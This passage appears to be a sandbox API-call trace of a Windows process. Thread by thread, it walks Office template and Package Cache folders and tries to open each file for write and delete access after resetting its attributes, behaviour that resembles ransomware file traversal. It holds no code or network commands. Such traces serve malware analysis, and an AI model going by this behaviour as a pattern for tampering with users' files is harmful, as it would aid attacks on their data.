office\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.652] GetLastError () returned 0x5 [0152.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx", dwFileAttributes=0x20) returned 0 [0152.652] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f84d8) returned 1 Thread: id = 3200 os_tid = 0x1e8c [0152.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx")) returned 0x20 [0152.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx", dwFileAttributes=0x20) returned 0 [0152.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.653] GetLastError () returned 0x5 [0152.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx", dwFileAttributes=0x20) returned 0 [0152.653] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 3201 os_tid = 0x1e90 [0152.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx")) returned 0x20 [0152.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX", dwFileAttributes=0x20) returned 0 [0152.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.654] GetLastError () returned 0x5 [0152.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX", dwFileAttributes=0x20) returned 0 [0152.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8230) returned 1 Thread: id = 3202 os_tid = 0x1e94 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx")) returned 0x20 [0152.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx", dwFileAttributes=0x20) returned 0 [0152.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.655] GetLastError () returned 0x5 [0152.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx", dwFileAttributes=0x20) returned 0 [0152.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f85e8) returned 1 Thread: id = 3203 os_tid = 0x1e98 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx")) returned 0x20 [0152.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx", dwFileAttributes=0x20) returned 0 [0152.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.656] GetLastError () returned 0x5 [0152.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx", dwFileAttributes=0x20) returned 0 [0152.656] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e78c8) returned 1 Thread: id = 3204 os_tid = 0x1e9c [0152.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx")) returned 0x20 [0152.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX", dwFileAttributes=0x20) returned 0 [0152.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.657] GetLastError () returned 0x5 [0152.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX", dwFileAttributes=0x20) returned 0 [0152.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f72c8) returned 1 Thread: id = 3205 os_tid = 0x1ea0 [0152.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx")) returned 0x20 [0152.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx", dwFileAttributes=0x20) returned 0 [0152.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.659] GetLastError () returned 0x5 [0152.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx", dwFileAttributes=0x20) returned 0 [0152.659] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7f88) returned 1 Thread: id = 3206 os_tid = 0x1ea4 [0152.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx")) returned 0x20 [0152.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx", dwFileAttributes=0x20) returned 0 [0152.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.660] GetLastError () returned 0x5 [0152.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx", dwFileAttributes=0x20) returned 0 [0152.660] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7bd0) returned 1 Thread: id = 3207 os_tid = 0x1ea8 [0152.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx")) returned 0x20 [0152.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx", dwFileAttributes=0x20) returned 0 [0152.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.661] GetLastError () returned 0x5 [0152.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx", dwFileAttributes=0x20) returned 0 [0152.662] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6c68) returned 1 Thread: id = 3208 os_tid = 0x1eac [0152.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx")) returned 0x20 [0152.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.663] GetLastError () returned 0x5 [0152.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.663] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7058) returned 1 Thread: id = 3209 os_tid = 0x1eb0 [0152.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx")) returned 0x20 [0152.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx", dwFileAttributes=0x20) returned 0 [0152.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.665] GetLastError () returned 0x5 [0152.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx", dwFileAttributes=0x20) returned 0 [0152.665] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab558) returned 1 Thread: id = 3210 os_tid = 0x1eb4 [0152.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx")) returned 0x20 [0152.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx", dwFileAttributes=0x20) returned 0 [0152.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.666] GetLastError () returned 0x5 [0152.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx", dwFileAttributes=0x20) returned 0 [0152.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac5f8) returned 1 Thread: id = 3211 os_tid = 0x1eb8 [0152.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx")) returned 0x20 [0152.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx", dwFileAttributes=0x20) returned 0 [0152.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.668] GetLastError () returned 0x5 [0152.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx", dwFileAttributes=0x20) returned 0 [0152.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6bd8) returned 1 Thread: id = 3212 os_tid = 0x1ebc [0152.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx")) returned 0x20 [0152.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx", dwFileAttributes=0x20) returned 0 [0152.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.446] GetLastError () returned 0x5 [0152.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx", dwFileAttributes=0x20) returned 0 [0152.447] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7a78) returned 1 Thread: id = 3213 os_tid = 0x1ec0 [0152.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx")) returned 0x20 [0152.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx", dwFileAttributes=0x20) returned 0 [0152.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.448] GetLastError () returned 0x5 [0152.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx", dwFileAttributes=0x20) returned 0 [0152.448] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934138) returned 1 Thread: id = 3214 os_tid = 0x1ec4 [0152.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x9bfcf8 [0152.036] wcscpy (in: _Dest=0x9bfcf8, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0152.036] wcscat (in: _Dest=0x9bfcf8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\" [0152.036] wcscat (in: _Dest=0x9bfcf8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" [0152.036] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0152.036] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.037] wcscmp (_String1=".", _String2=".") returned 0 [0152.037] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.037] wcscmp (_String1="..", _String2=".") returned 1 [0152.037] wcscmp (_String1="..", _String2="..") returned 0 [0152.037] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0152.037] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0152.037] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0152.037] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0152.037] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0152.037] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0152.037] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0152.037] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0152.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0152.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfcf8) returned 1 [0152.037] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904b18) returned 1 Thread: id = 3215 os_tid = 0x1ec8 [0152.038] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bbe18 [0152.038] wcscpy (in: _Dest=0xd4bbe18, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0152.038] wcscat (in: _Dest=0xd4bbe18, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0152.038] wcscat (in: _Dest=0xd4bbe18, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0152.038] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0152.038] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.039] wcscmp (_String1=".", _String2=".") returned 0 [0152.039] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.039] wcscmp (_String1="..", _String2=".") returned 1 [0152.039] wcscmp (_String1="..", _String2="..") returned 0 [0152.039] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0152.039] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0152.039] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0152.039] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0152.039] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0152.039] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0152.039] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0152.039] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0152.039] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0152.039] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbe18) returned 1 [0152.039] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 Thread: id = 3216 os_tid = 0x1ecc [0152.044] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x904b18 [0152.044] wcscpy (in: _Dest=0x904b18, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0152.044] wcscat (in: _Dest=0x904b18, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\" [0152.044] wcscat (in: _Dest=0x904b18, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*" [0152.044] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0152.044] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x9079e0 | out: 